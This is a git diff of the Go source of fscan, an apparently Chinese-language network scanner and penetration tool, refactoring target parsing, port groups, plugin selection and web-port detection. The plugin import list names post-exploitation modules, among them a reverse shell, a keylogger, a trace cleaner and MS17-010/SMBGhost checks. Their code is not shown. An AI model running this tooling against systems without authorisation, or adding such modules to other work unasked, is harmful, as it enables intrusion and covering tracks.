if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 这是有效的host:port格式但在这里仍然作为主机处理
// 在后续的processHostPorts函数中会被正确处理
hosts = append(hosts, item)
} else {
// 端口无效,作为普通主机处理
hosts = append(hosts, item)
}
} else {
// 不是有效的host:port格式作为普通主机处理
hosts = append(hosts, item)
}
} else {
// 单个IP或域名
hosts = append(hosts, item)
}
// 单个IP或域名
hosts = append(hosts, item)
}
}
@ -738,19 +697,6 @@ func (tp *TargetParser) validateHost(host string) (bool, error) {
return false, fmt.Errorf("主机地址为空")
}
// 检查是否为host:port格式
if strings.Contains(host, ":") {
// 可能是host:port格式尝试分离
if h, portStr, err := net.SplitHostPort(host); err == nil {
// 验证端口号
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 递归验证主机部分(不包含端口)
return tp.validateHost(h)
}
}
// 如果不是有效的host:port格式继续按普通主机地址处理
}
// 检查是否为IP地址
if ip := net.ParseIP(host); ip != nil {
return tp.validateIP(ip)

View File

@ -3,8 +3,6 @@ package parsers
import (
"regexp"
"time"
"github.com/shadow1ng/fscan/common/base"
)
/*
@ -136,11 +134,12 @@ const (
DefaultValidateURLs = true
DefaultResolveDomains = false
DefaultTargetEnableStatistics = true
DefaultPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
// 正则表达式模式
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
URLValidationRegexPattern = `^https?://[^\s]+$`
URLValidationRegexPattern = `^https?://[^\s/$.?#].[^\s]*$`
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
@ -193,21 +192,25 @@ const (
SamplingMaxHost = 253
)
// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
// GetPortGroups 获取预定义端口组映射
func GetPortGroups() map[string]string {
return map[string]string{
"web": base.WebPorts, // 使用实际的WebPorts常量
"main": base.MainPorts, // 使用实际的MainPorts常量
"db": base.DbPorts, // 使用实际的DbPorts常量
"service": base.ServicePorts, // 使用实际的ServicePorts常量
"common": base.CommonPorts, // 使用实际的CommonPorts常量
"all": base.AllPorts, // 使用实际的AllPorts常量
"web": "80,81,82,83,84,85,86,87,88,89,90,443,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8443,9000,9001,9002,9080,9090",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
"database": "1433,1521,3306,5432,6379,11211,27017",
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
}
}
// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
// GetTargetPortGroups 获取目标解析器端口组映射
func GetTargetPortGroups() map[string]string {
return GetPortGroups()
return map[string]string{
"service": "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613",
"db": "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616",
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018",
"all": "1-65535",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
}
}
// =============================================================================

View File

@ -1,62 +0,0 @@
package common
import (
"context"
)
// TargetInfo 包装HostInfo提供更丰富的功能
type TargetInfo struct {
*HostInfo // 嵌入HostInfo保持向后兼容
context context.Context
metadata map[string]interface{}
}
// NewTargetInfo 创建新的目标信息
func NewTargetInfo(hostInfo HostInfo) *TargetInfo {
return &TargetInfo{
HostInfo: &hostInfo,
context: context.Background(),
metadata: make(map[string]interface{}),
}
}
// WithContext 设置上下文
func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo {
t.context = ctx
return t
}
// SetMetadata 设置元数据
func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo {
if t.metadata == nil {
t.metadata = make(map[string]interface{})
}
t.metadata[key] = value
return t
}
// GetMetadata 获取元数据
func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) {
if t.metadata == nil {
return nil, false
}
value, exists := t.metadata[key]
return value, exists
}
// String 返回字符串表示
func (t *TargetInfo) String() string {
return HostInfoString(t.HostInfo)
}
// HasMetadata 检查是否有指定的元数据
func (t *TargetInfo) HasMetadata(key string) bool {
_, exists := t.GetMetadata(key)
return exists
}

View File

@ -1,6 +1,8 @@
package utils
import (
"log"
"runtime"
"time"
)
@ -23,19 +25,102 @@ func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Du
}
}
// 已移除未使用的 Start 方法
// Start 启动内存监控
func (mm *MemoryMonitor) Start() {
if mm.running {
return
}
// 已移除未使用的 Stop 方法
mm.running = true
go mm.monitor()
}
// 已移除未使用的 monitor 方法
// Stop 停止内存监控
func (mm *MemoryMonitor) Stop() {
if !mm.running {
return
}
// 已移除未使用的 checkMemory 方法
mm.running = false
select {
case mm.stopChan <- true:
default:
}
}
// 已移除未使用的 GetMemoryStats 方法
// monitor 监控循环
func (mm *MemoryMonitor) monitor() {
ticker := time.NewTicker(mm.checkInterval)
defer ticker.Stop()
// 已移除未使用的 ForceGC 方法
for {
select {
case <-ticker.C:
mm.checkMemory()
case <-mm.stopChan:
return
}
}
}
// 已移除未使用的 getHeapSize 方法
// checkMemory 检查内存使用情况
func (mm *MemoryMonitor) checkMemory() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
heapMB := m.HeapInuse / 1024 / 1024
goroutineCount := runtime.NumGoroutine()
// 检查堆内存使用
if heapMB > mm.maxHeapMB {
log.Printf("[WARN] 内存使用警告: 堆内存使用过高 %d MB (阈值: %d MB)", heapMB, mm.maxHeapMB)
// 尝试触发GC
runtime.GC()
// 再次检查
runtime.ReadMemStats(&m)
heapMBAfterGC := m.HeapInuse / 1024 / 1024
log.Printf("[INFO] GC后堆内存: %d MB", heapMBAfterGC)
}
// 检查goroutine数量
if goroutineCount > mm.maxGoroutines {
log.Printf("[WARN] Goroutine数量警告: 当前数量 %d (阈值: %d)", goroutineCount, mm.maxGoroutines)
}
}
// GetMemoryStats 获取当前内存统计信息
func (mm *MemoryMonitor) GetMemoryStats() map[string]interface{} {
var m runtime.MemStats
runtime.ReadMemStats(&m)
return map[string]interface{}{
"heap_inuse_mb": m.HeapInuse / 1024 / 1024,
"heap_alloc_mb": m.HeapAlloc / 1024 / 1024,
"sys_mb": m.Sys / 1024 / 1024,
"num_gc": m.NumGC,
"num_goroutines": runtime.NumGoroutine(),
"last_gc_time": time.Unix(0, int64(m.LastGC)),
}
}
// ForceGC 强制执行垃圾回收
func (mm *MemoryMonitor) ForceGC() {
before := mm.getHeapSize()
runtime.GC()
after := mm.getHeapSize()
// 使用log包直接输出避免undefined common错误
log.Printf("[INFO] 强制GC: 释放内存 %d MB", (before-after)/1024/1024)
}
// getHeapSize 获取当前堆大小
func (mm *MemoryMonitor) getHeapSize() uint64 {
var m runtime.MemStats
runtime.ReadMemStats(&m)
return m.HeapInuse
}
// 默认内存监控器实例
var DefaultMemMonitor = NewMemoryMonitor(
@ -44,6 +129,12 @@ var DefaultMemMonitor = NewMemoryMonitor(
30*time.Second, // 30秒检查一次
)
// 已移除未使用的 StartDefaultMonitor 方法
// StartDefaultMonitor 启动默认内存监控器
func StartDefaultMonitor() {
DefaultMemMonitor.Start()
}
// 已移除未使用的 StopDefaultMonitor 方法
// StopDefaultMonitor 停止默认内存监控器
func StopDefaultMonitor() {
DefaultMemMonitor.Stop()
}

View File

@ -2,7 +2,25 @@ package utils
// 已移除未使用的 DeduplicateStrings 方法
// DeduplicateStrings 高效字符串去重 - 简化版本
func DeduplicateStrings(slice []string) []string {
if len(slice) <= 1 {
return slice
}
// 使用最简单高效的实现
seen := make(map[string]struct{}, len(slice))
result := make([]string, 0, len(slice))
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -108,8 +108,7 @@ func (b *BaseScanStrategy) isPluginTypeMatchedByName(pluginName string) bool {
case FilterLocal:
return metadata.Category == "local"
case FilterService:
// 服务扫描允许service类型以及通过智能检测的web类型在上层逻辑中处理
return metadata.Category == "service" || metadata.Category == "web"
return metadata.Category == "service"
case FilterWeb:
return metadata.Category == "web"
default:
@ -123,7 +122,6 @@ func (b *BaseScanStrategy) isPluginTypeMatched(plugin common.ScanPlugin) bool {
case FilterLocal:
return plugin.HasType(common.PluginTypeLocal)
case FilterService:
// 服务扫描排除本地插件允许服务和Web插件
return !plugin.HasType(common.PluginTypeLocal)
case FilterWeb:
return plugin.HasType(common.PluginTypeWeb)
@ -133,7 +131,7 @@ func (b *BaseScanStrategy) isPluginTypeMatched(plugin common.ScanPlugin) bool {
}
// IsPluginApplicableByName 根据插件名称判断是否适用(新方法)
func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool) bool {
func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
@ -145,7 +143,7 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
}
// 智能Web插件检测如果是Web插件且检测到Web服务则包含Web插件
if b.shouldIncludeWebPlugin(metadata, targetHost, targetPort) {
if b.shouldIncludeWebPlugin(metadata, targetPort) {
return true
}
@ -164,21 +162,11 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
return false
}
// 对于Web插件的特殊处理
if metadata.Category == "web" {
// Web扫描策略下直接允许Web插件执行用户明确指定了Web目标
if b.filterType == FilterWeb {
return true
}
// 其他策略下必须通过智能检测才能执行
return false
}
return true
}
// shouldIncludeWebPlugin 判断是否应该包含Web插件智能检测
func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata, targetHost string, targetPort int) bool {
func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata, targetPort int) bool {
// 只对服务扫描策略启用Web插件智能检测
if b.filterType != FilterService {
return false
@ -199,14 +187,14 @@ func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata,
globalWebDetector = NewWebPortDetector()
}
// 检测是否为Web服务使用完整的智能检测包括HTTP协议探测)
return globalWebDetector.IsWebService(targetHost, targetPort)
// 检测是否为Web服务这里暂时只检查常见端口避免每次都进行HTTP探测)
return globalWebDetector.IsCommonWebPort(targetPort)
}
// globalWebDetector Web检测器全局实例
var globalWebDetector *WebPortDetector
// IsPluginApplicable 判断插件是否适用(通用实现,传统插件系统
// IsPluginApplicable 判断插件是否适用(通用实现
func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
@ -218,21 +206,6 @@ func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPo
return false
}
// 对于服务扫描中的Web插件需要进行智能检测传统插件系统
if b.filterType == FilterService && plugin.HasType(common.PluginTypeWeb) {
// 获取Web检测器实例延迟初始化
if globalWebDetector == nil {
globalWebDetector = NewWebPortDetector()
}
// 注意传统插件系统无法传递host参数使用空字符串
// 这是传统插件系统的限制,新插件系统已经解决了这个问题
if targetPort > 0 {
return globalWebDetector.IsWebService("", targetPort)
}
return false
}
// 对于服务扫描,还需检查端口匹配
if b.filterType == FilterService {
// 无端口限制的插件适用于所有端口

140
Core/PluginAdapter.go Normal file
View File

@ -0,0 +1,140 @@
package core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// PluginAdapter 插件适配器
// 提供从新插件系统到旧扫描接口的适配
type PluginAdapter struct {
registry *base.PluginRegistry
}
// NewPluginAdapter 创建插件适配器
func NewPluginAdapter() *PluginAdapter {
return &PluginAdapter{
registry: base.GlobalPluginRegistry,
}
}
// 全局插件适配器实例
var GlobalPluginAdapter = NewPluginAdapter()
// GetAllPluginNames 获取所有插件名称
func (pa *PluginAdapter) GetAllPluginNames() []string {
return pa.registry.GetAll()
}
// PluginExists 检查插件是否存在
func (pa *PluginAdapter) PluginExists(name string) bool {
metadata := pa.registry.GetMetadata(name)
return metadata != nil
}
// GetPluginPorts 获取插件支持的端口
func (pa *PluginAdapter) GetPluginPorts(name string) []int {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
return metadata.Ports
}
return []int{}
}
// GetPluginsByPort 根据端口获取支持的插件
func (pa *PluginAdapter) GetPluginsByPort(port int) []string {
var plugins []string
for _, name := range pa.registry.GetAll() {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
for _, p := range metadata.Ports {
if p == port {
plugins = append(plugins, name)
break
}
}
}
}
return plugins
}
// GetPluginsByType 根据类型获取插件
func (pa *PluginAdapter) GetPluginsByType(pluginType string) []string {
var plugins []string
for _, name := range pa.registry.GetAll() {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
if metadata.Category == pluginType {
plugins = append(plugins, name)
}
}
}
return plugins
}
// ScanWithPlugin 使用插件进行扫描
func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo) error {
common.LogDebug(fmt.Sprintf("使用新插件架构扫描: %s", pluginName))
// 创建插件实例
plugin, err := pa.registry.Create(pluginName)
if err != nil {
return fmt.Errorf("创建插件 %s 失败: %v", pluginName, err)
}
// 执行扫描
result, err := plugin.Scan(context.Background(), info)
if err != nil {
return fmt.Errorf("插件 %s 扫描失败: %v", pluginName, err)
}
// 处理扫描结果
if result == nil {
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
} else if result.Success {
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
// TODO: 输出扫描结果
} else {
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
}
return nil
}
// FilterPluginsByType 按类型过滤插件名称
func FilterPluginsByType(pluginType string) func(name string) bool {
return func(name string) bool {
metadata := GlobalPluginAdapter.registry.GetMetadata(name)
if metadata == nil {
return false
}
switch pluginType {
case common.PluginTypeService:
return metadata.Category == "service"
case common.PluginTypeWeb:
return metadata.Category == "web"
case common.PluginTypeLocal:
return metadata.Category == "local"
default:
return true
}
}
}
// GetServicePlugins 获取所有服务插件
func GetServicePlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("service")
}
// GetWebPlugins 获取所有Web插件
func GetWebPlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("web")
}
// GetLocalPlugins 获取所有本地插件
func GetLocalPlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("local")
}

View File

@ -60,15 +60,6 @@ func (p *PortDiscoveryService) shouldPerformLivenessCheck(hosts []string) bool {
func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
var alivePorts []string
// 如果已经有明确指定的host:port则优先使用并跳过常规端口扫描
if len(common.HostPort) > 0 {
alivePorts = append(alivePorts, common.HostPort...)
alivePorts = common.RemoveDuplicate(alivePorts)
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
common.HostPort = nil
return alivePorts
}
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
@ -82,6 +73,14 @@ func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
// 合并额外指定的端口
if len(common.HostPort) > 0 {
alivePorts = append(alivePorts, common.HostPort...)
alivePorts = common.RemoveDuplicate(alivePorts)
common.HostPort = nil
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
return alivePorts
}

View File

@ -5,7 +5,7 @@ import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
// 导入跨平台服务插件(可在所有平台上运行)
// 导入新架构插件,触发自动注册
_ "github.com/shadow1ng/fscan/plugins/services/activemq"
_ "github.com/shadow1ng/fscan/plugins/services/cassandra"
_ "github.com/shadow1ng/fscan/plugins/services/ftp"
@ -28,30 +28,20 @@ import (
_ "github.com/shadow1ng/fscan/plugins/services/snmp"
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
_ "github.com/shadow1ng/fscan/plugins/services/telnet"
_ "github.com/shadow1ng/fscan/plugins/services/vnc"
// 导入跨平台Legacy插件
_ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch" // 跨平台服务
_ "github.com/shadow1ng/fscan/plugins/legacy/findnet" // 网络发现
_ "github.com/shadow1ng/fscan/plugins/legacy/ms17010" // Windows SMB漏洞但扫描器可跨平台
_ "github.com/shadow1ng/fscan/plugins/legacy/netbios" // NetBIOS协议主要Windows但可跨平台扫描
_ "github.com/shadow1ng/fscan/plugins/legacy/rdp" // RDP协议扫描可跨平台
_ "github.com/shadow1ng/fscan/plugins/legacy/smb" // SMB协议扫描可跨平台
_ "github.com/shadow1ng/fscan/plugins/legacy/smb2" // SMBv2协议扫描可跨平台
_ "github.com/shadow1ng/fscan/plugins/legacy/smbghost" // SMBGhost漏洞扫描可跨平台
// 导入Legacy插件适配器
_ "github.com/shadow1ng/fscan/plugins/legacy/netbios"
_ "github.com/shadow1ng/fscan/plugins/legacy/ms17010"
_ "github.com/shadow1ng/fscan/plugins/legacy/smb"
_ "github.com/shadow1ng/fscan/plugins/legacy/smb2"
_ "github.com/shadow1ng/fscan/plugins/legacy/smbghost"
_ "github.com/shadow1ng/fscan/plugins/legacy/rdp"
_ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch"
_ "github.com/shadow1ng/fscan/plugins/legacy/findnet"
// 导入Web插件适配器
_ "github.com/shadow1ng/fscan/plugins/legacy/webtitle"
_ "github.com/shadow1ng/fscan/plugins/legacy/webpoc"
// 导入跨平台本地插件(可在所有平台上运行)
_ "github.com/shadow1ng/fscan/plugins/local/cleaner" // 系统痕迹清理
_ "github.com/shadow1ng/fscan/plugins/local/downloader" // 文件下载
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 文件信息收集
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 正向Shell
_ "github.com/shadow1ng/fscan/plugins/local/keylogger" // 键盘记录主要Windows但支持跨平台
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 反弹Shell
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // SOCKS5代理
)
// =============================================================================
@ -83,15 +73,49 @@ func InitializePluginSystem() error {
return nil
}
// 已移除未使用的 GetAllPlugins 方法
// GetAllPlugins 获取所有已注册插件名称
func GetAllPlugins() []string {
return base.GlobalPluginRegistry.GetAll()
}
// 已移除未使用的 GetPluginMetadata 方法
// GetPluginMetadata 获取插件元数据
func GetPluginMetadata(name string) *base.PluginMetadata {
return base.GlobalPluginRegistry.GetMetadata(name)
}
// 已移除未使用的 CreatePlugin 方法
// CreatePlugin 创建插件实例
func CreatePlugin(name string) (base.Plugin, error) {
return base.GlobalPluginRegistry.Create(name)
}
// 已移除未使用的 GetPluginsByCategory 方法
// GetPluginsByCategory 按类别获取插件
func GetPluginsByCategory(category string) []string {
var plugins []string
for _, name := range base.GlobalPluginRegistry.GetAll() {
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
if metadata.Category == category {
plugins = append(plugins, name)
}
}
}
return plugins
}
// 已移除未使用的 GetPluginsByPort 方法
// GetPluginsByPort 按端口获取插件
func GetPluginsByPort(port int) []string {
var plugins []string
for _, name := range base.GlobalPluginRegistry.GetAll() {
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
for _, p := range metadata.Ports {
if p == port {
plugins = append(plugins, name)
break
}
}
}
}
return plugins
}
// init 自动初始化插件系统
func init() {

View File

@ -19,7 +19,7 @@ type ScanStrategy interface {
// 插件管理方法
GetPlugins() ([]string, bool)
IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool) bool
IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool
}
// selectStrategy 根据扫描配置选择适当的扫描策略
@ -125,7 +125,7 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
}
// 检查插件是否适用于当前目标
if strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode) {
if strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
executeScanTask(pluginName, target, ch, wg)
}
}
@ -143,7 +143,7 @@ func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCu
for _, pluginName := range pluginsToRun {
if GlobalPluginAdapter.PluginExists(pluginName) &&
strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode) {
strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
count++
}
}
@ -187,4 +187,7 @@ func executeScanTask(pluginName string, target common.HostInfo, ch *chan struct{
}
// 已移除未使用的 Scan 方法
// Scan 入口函数,向后兼容旧的调用方式
func Scan(info common.HostInfo) {
RunScan(info)
}

View File

@ -144,7 +144,7 @@ func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlug
return true
}
// 服务扫描排除本地插件但保留Web插件有智能检测
// 非自定义模式下,排除本地插件
if plugin.HasType(common.PluginTypeLocal) {
return false
}
@ -166,11 +166,6 @@ func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlug
// isNewPluginApplicableToAnyPort 检查新插件架构的插件是否对任何端口适用
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(metadata *base.PluginMetadata, portSet map[int]bool, isCustomMode bool) bool {
// 服务扫描排除本地插件但保留service和web类型web有智能检测
if metadata.Category == "local" {
return false
}
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true

145
Core/WebDetection.go Normal file
View File

@ -0,0 +1,145 @@
package core
import (
"context"
"net"
"net/http"
"strings"
"time"
)
// WebPortDetector Web端口检测器
type WebPortDetector struct {
// 常见Web端口列表
commonWebPorts map[int]bool
// HTTP检测超时时间
httpTimeout time.Duration
}
// NewWebPortDetector 创建Web端口检测器
func NewWebPortDetector() *WebPortDetector {
// 定义常见Web端口
commonPorts := map[int]bool{
80: true, // HTTP
443: true, // HTTPS
8080: true, // HTTP alternate
8443: true, // HTTPS alternate
8000: true, // Development server
8888: true, // Common dev port
9000: true, // Common dev port
9090: true, // Common dev port
3000: true, // Node.js dev server
4000: true, // Ruby dev server
5000: true, // Python dev server
8081: true, // HTTP alternate
8082: true, // HTTP alternate
8083: true, // HTTP alternate
8084: true, // HTTP alternate
8085: true, // HTTP alternate
8086: true, // HTTP alternate
8087: true, // HTTP alternate
8088: true, // HTTP alternate
8089: true, // HTTP alternate
}
return &WebPortDetector{
commonWebPorts: commonPorts,
httpTimeout: 2 * time.Second, // 2秒超时快速检测
}
}
// IsWebService 检测指定主机端口是否为Web服务
func (w *WebPortDetector) IsWebService(host string, port int) bool {
// 1. 首先检查是否为常见Web端口
if w.commonWebPorts[port] {
return true
}
// 2. 对于非常见端口进行HTTP协议检测
return w.detectHTTPService(host, port)
}
// IsCommonWebPort 检查是否为常见Web端口
func (w *WebPortDetector) IsCommonWebPort(port int) bool {
return w.commonWebPorts[port]
}
// detectHTTPService 检测HTTP服务轻量级探测
func (w *WebPortDetector) detectHTTPService(host string, port int) bool {
// 创建检测上下文,避免长时间阻塞
ctx, cancel := context.WithTimeout(context.Background(), w.httpTimeout)
defer cancel()
// 尝试HTTP连接
if w.tryHTTPConnection(ctx, host, port, "http") {
return true
}
// 尝试HTTPS连接对于高端口常见
if w.tryHTTPConnection(ctx, host, port, "https") {
return true
}
return false
}
// tryHTTPConnection 尝试HTTP连接
func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, port int, protocol string) bool {
url := ""
if port == 80 && protocol == "http" {
url = "http://" + host
} else if port == 443 && protocol == "https" {
url = "https://" + host
} else {
url = protocol + "://" + host + ":" + string(rune(port))
}
// 创建HTTP客户端快速检测
client := &http.Client{
Timeout: w.httpTimeout,
Transport: &http.Transport{
DialContext: (&net.Dialer{
Timeout: w.httpTimeout,
}).DialContext,
TLSHandshakeTimeout: w.httpTimeout,
ResponseHeaderTimeout: w.httpTimeout,
DisableKeepAlives: true,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // 不跟随重定向,加快检测速度
},
}
// 发送HEAD请求最小化网络开销
req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil)
if err != nil {
return false
}
req.Header.Set("User-Agent", "fscan-web-detector/2.0")
resp, err := client.Do(req)
if err != nil {
// 检查错误类型某些错误也表明是HTTP服务
errStr := strings.ToLower(err.Error())
if strings.Contains(errStr, "http") ||
strings.Contains(errStr, "malformed http") ||
strings.Contains(errStr, "server closed") {
return true
}
return false
}
defer resp.Body.Close()
// 任何HTTP响应都表明这是Web服务
return resp.StatusCode > 0
}
// GetCommonWebPorts 获取常见Web端口列表
func (w *WebPortDetector) GetCommonWebPorts() []int {
ports := make([]int, 0, len(w.commonWebPorts))
for port := range w.commonWebPorts {
ports = append(ports, port)
}
return ports
}

View File

@ -1,8 +1,6 @@
package core
import (
"fmt"
"net/url"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"strings"
@ -56,55 +54,16 @@ func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *s
func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
var targetInfos []common.HostInfo
// 首先从common.URLs获取目标
for _, urlStr := range common.URLs {
urlInfo := s.createTargetFromURL(baseInfo, urlStr)
if urlInfo != nil {
targetInfos = append(targetInfos, *urlInfo)
}
}
// 如果common.URLs为空但baseInfo.Url有值使用baseInfo.Url
if len(targetInfos) == 0 && baseInfo.Url != "" {
urlInfo := s.createTargetFromURL(baseInfo, baseInfo.Url)
if urlInfo != nil {
targetInfos = append(targetInfos, *urlInfo)
for _, url := range common.URLs {
urlInfo := baseInfo
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "http://" + url
}
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
return targetInfos
}
// createTargetFromURL 从URL创建目标信息
func (s *WebScanStrategy) createTargetFromURL(baseInfo common.HostInfo, urlStr string) *common.HostInfo {
// 确保URL包含协议头
if !strings.HasPrefix(urlStr, "http://") && !strings.HasPrefix(urlStr, "https://") {
urlStr = "http://" + urlStr
}
// 解析URL获取Host和Port信息
parsedURL, err := url.Parse(urlStr)
if err != nil {
common.LogError(fmt.Sprintf("解析URL失败: %s - %v", urlStr, err))
return nil
}
urlInfo := baseInfo
urlInfo.Url = urlStr
urlInfo.Host = parsedURL.Hostname()
// 设置端口
port := parsedURL.Port()
if port == "" {
// 根据协议设置默认端口
if parsedURL.Scheme == "https" {
port = "443"
} else {
port = "80"
}
}
urlInfo.Ports = port
return &urlInfo
}

View File

@ -1,262 +0,0 @@
# Fscan 参数说明文档
**版本**: v2.2.1
**分支**: v2.2.1
## 基础扫描参数
### 目标指定
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-h` | 目标主机: IP, IP段, IP段文件, 域名, **支持host:port格式** | - | `-h 192.168.1.1/24``-h 127.0.0.1:135` |
| `-hf` | 主机文件 | - | `-hf hosts.txt` |
| `-u` | 目标URL | - | `-u http://example.com` |
| `-uf` | URL文件 | - | `-uf urls.txt` |
| `-domain` | 域名 | - | `-domain example.com` |
### 端口扫描
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-p` | 端口扫描范围 | 1000个常用端口 | `-p 1-65535` |
| `-pf` | 端口文件 | - | `-pf ports.txt` |
